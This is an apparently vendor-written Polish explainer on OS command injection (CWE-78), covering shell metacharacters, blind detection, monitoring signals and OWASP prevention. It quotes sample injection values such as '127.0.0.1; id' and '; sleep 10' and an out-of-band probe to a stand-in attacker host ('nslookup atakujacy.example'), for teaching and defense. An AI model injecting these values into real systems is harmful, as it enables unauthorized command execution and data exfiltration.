Command Injection

Podatność, w której aplikacja przekazuje dane użytkownika do powłoki systemu, pozwalając atakującemu uruchomić dowolne polecenia systemu operacyjnego z uprawnieniami procesu (CWE-78).

Command injection (wstrzykiwanie poleceń) to podatność, w której aplikacja składa polecenie systemu operacyjnego z danych wpisanych przez użytkownika i przekazuje je do powłoki systemowej (shell), nie usuwając wcześniej znaków specjalnych. Atakujący dopisuje wtedy do oczekiwanej wartości własne polecenia, a serwer je wykonuje z uprawnieniami aplikacji. Wariant dotyczący poleceń systemu operacyjnego ma własny numer w katalogu słabości: CWE-78 (OS Command Injection). Należy też do kategorii Injection w zestawieniu OWASP Top 10 — liście najczęstszych podatności aplikacji webowych.

Jak działa command injection?

Cały problem polega na tym, że dane, które miały być zwykłą wartością, trafiają do powłoki — a ta część z nich rozumie jako polecenia do wykonania. Przebieg jest zwykle taki:

  1. Dane wchodzą – aplikacja przyjmuje coś, co kontroluje użytkownik: parametr w adresie URL, pole formularza, nagłówek HTTP, ciasteczko albo treść żądania do API.
  2. Sklejenie polecenia – wartość zostaje wstawiona do gotowego polecenia, np. ping -c 1 <host>, gdzie <host> pochodzi wprost od użytkownika.
  3. Wykonanie w powłoce – polecenie uruchamia funkcja, która sięga do powłoki (system(), popen(), os.system(), Runtime.exec() z powłoką, child_process.exec()).
  4. Uruchomienie wstrzykniętego polecenia – jeśli dane zawierają znak specjalny powłoki, np. 127.0.0.1; id, powłoka wykona najpierw ping, a zaraz po nim id.

Wstrzyknięte polecenie działa z takimi prawami, z jakimi uruchomiony jest podatny proces. Gdy aplikacja działa jako użytkownik o szerokich uprawnieniach (albo jako root), jeden podatny parametr zwykle wystarcza do pełnego przejęcia serwera.

Jakie znaki specjalne umożliwiają wstrzyknięcie?

Powłoki uniksowe oraz cmd.exe i PowerShell rozumieją zestaw znaków, którymi można łączyć lub rozdzielać polecenia. Najczęściej wykorzystywane to:

  • ; – rozdziela polecenia (wykonaj kolejne niezależnie od poprzedniego),
  • && oraz || – wykonanie warunkowe (po sukcesie / po błędzie),
  • | – potok, czyli przekazanie wyniku do następnego polecenia,
  • & – uruchomienie w tle,
  • $(...) oraz `...` – podstawienie polecenia (wykonaj to i wstaw wynik),
  • znak nowej linii (n) – kolejne polecenie w nowym wierszu.

Dlatego sprawdzanie samej długości czy typu danych nie wystarcza. Liczy się to, czy te znaki w ogóle docierają do powłoki.

Czym command injection różni się od code injection?

Oba ataki uruchamiają treść podsuniętą przez napastnika, ale na innym poziomie:

  • Command injection (CWE-78) – atakujący wykorzystuje istniejącą w aplikacji funkcję uruchamiania poleceń systemu operacyjnego. Nie wstrzykuje własnego kodu programu, tylko dokłada kolejne polecenia do tych, które wykona powłoka. Jego możliwości ogranicza to, co potrafią powłoka i system.
  • Code injection – atakujący wstrzykuje fragment kodu w języku samej aplikacji (np. PHP, Python, JavaScript), który zostaje uruchomiony w jej środowisku. Tu granicą są możliwości danego języka.

Ta różnica ma znaczenie przy wykrywaniu. Command injection widać w danych o uruchamianych procesach (proces serwera WWW nagle odpala powłokę), a code injection raczej w zachowaniu samej aplikacji.

Gdzie najczęściej występuje command injection?

Podatność pojawia się wszędzie tam, gdzie aplikacja przekazuje dane użytkownika do powłoki. Typowe miejsca to:

  • funkcje opakowujące narzędzia systemowe (np. ping, nslookup, whois, konwersja plików, archiwizacja),
  • parametry URL i pola formularzy przekazywane do skryptów, które wykonują polecenia,
  • punkty końcowe API budujące polecenie z danych JSON lub XML,
  • panele administracyjne urządzeń sieciowych i sprzętu IoT (częste źródło publikowanych podatności),
  • nazwy plików i ich metadane przy wgrywaniu, jeśli trafiają później do polecenia powłoki.

Czym jest blind command injection i jak go wykryć?

Często wynik wstrzykniętego polecenia nie wraca w odpowiedzi HTTP. To blind (ślepa) command injection — atakujący nie widzi efektu wprost, więc potwierdza go pośrednio:

  • Opóźnienie w czasie – wstrzyknięcie ; sleep 10 (albo ping -c 10 127.0.0.1) i zmierzenie, czy odpowiedź faktycznie przyszła później. Jeśli tak, polecenie się wykonało.
  • Zapis wyniku do pliku – przekierowanie wyniku do pliku w katalogu dostępnym przez WWW, a potem jego odczyt.
  • Techniki out-of-band (OAST) – zmuszenie serwera do odezwania się na zewnątrz, np. zapytania DNS lub HTTP do serwera atakującego (nslookup atakujacy.example). To potwierdza wykonanie polecenia, a przy okazji pozwala wyprowadzić dane. Skrót OAST oznacza testowanie przez kanał poza samą sesją HTTP (out-of-band application security testing).

Jak wykrywać i monitorować command injection?

Z punktu widzenia zespołu monitorującego bezpieczeństwo (SOC) i narzędzi analizujących ruch sieciowy (NDR) command injection zostawia ślady, których nie widać przy zwykłym ruchu aplikacji:

  • Dane o procesach – proces serwera WWW lub aplikacji nagle uruchamia powłokę albo narzędzia systemowe (sh, bash, cmd.exe, powershell, whoami, id, curl, wget). Łańcuch rodzic-dziecko w stylu nginx → sh → curl to mocny sygnał, że coś jest nie tak.
  • Analiza ruchu i logów WWW – znaki specjalne powłoki (;, |, &&, $(, znaki backtick) oraz nazwy poleceń w parametrach, nagłówkach i treści żądań.
  • Połączenia wychodzące – nietypowe zapytania DNS albo sesje HTTP/HTTPS, które serwer aplikacji inicjuje tuż po żądaniu. To typowy ślad OAST i pobierania kolejnej części ataku.
  • Korelacja – zestawienie żądania HTTP ze znakami specjalnymi z tym, co stało się zaraz po nim (uruchomienie procesu, połączenie na zewnątrz). To pozwala odróżnić udany atak od zwykłego skanowania.

Filtr aplikacyjny (WAF) wyłapie część prób, ale szyfrowany ruch, różne kodowania znaków i sztuczki maskujące ograniczają jego skuteczność. Dlatego dane z hosta i z sieci są jego uzupełnieniem, a nie zamiennikiem.

Jak zapobiegać command injection?

OWASP układa warstwy obrony od najskuteczniejszej:

  1. Nie uruchamiaj powłoki – zamiast składać polecenia, korzystaj z gotowych funkcji języka (np. funkcja tworząca katalog zamiast system("mkdir ...")). To usuwa problem u źródła.
  2. Rozdziel polecenie od danych – jeśli musisz uruchomić zewnętrzny program, przekaż nazwę programu i argumenty osobno, bez pośrednictwa powłoki (np. ProcessBuilder w Javie, subprocess z listą argumentów i bez shell=True w Pythonie). Wtedy dane nie są traktowane jak polecenia.
  3. Sprawdzaj dane przez listę dozwolonych (allowlist) – przyjmuj tylko z góry znany, dozwolony zbiór wartości (np. same cyfry albo wartość z ustalonej listy), zamiast próbować blokować znaki uznane za niebezpieczne.
  4. Escapowanie tylko w ostateczności – funkcje typu escapeshellarg() stosuj wyłącznie wtedy, gdy powłoki nie da się uniknąć. Łatwo tu o błąd, zwłaszcza przy tzw. argument injection (podszywaniu danych pod dodatkowe opcje polecenia).
  5. Najmniejsze potrzebne uprawnienia – uruchamiaj procesy z minimalnymi prawami i w izolacji (kontener, osobne konto), żeby ograniczyć skutki ewentualnego włamania.

Dowiedz się więcej

  • API Security — Niezabezpieczone API może pozwolić na wstrzyknięcie komend przez błędnie walidowane dane wejściowe.
  • SQL Injection (SQLi) — SQLi pokazuje podobny mechanizm wstrzykiwania poleceń do zapytań, choć dotyczy bazy danych.
  • Web Shell Attacks — Command Injection może dać atakującemu dostęp do powłoki, którą później wykorzystuje web shell.
  • Techniki MITRE ATT&CK w bezpieczeństwie sieci — W MITRE ATT&CK Command Injection odpowiada technikom realizującym zdalne wykonanie poleceń.
  • XSS (Cross-Site Scripting) — XSS i Command Injection to różne wektory, ale oba wynikają z braku filtrowania danych wejściowych.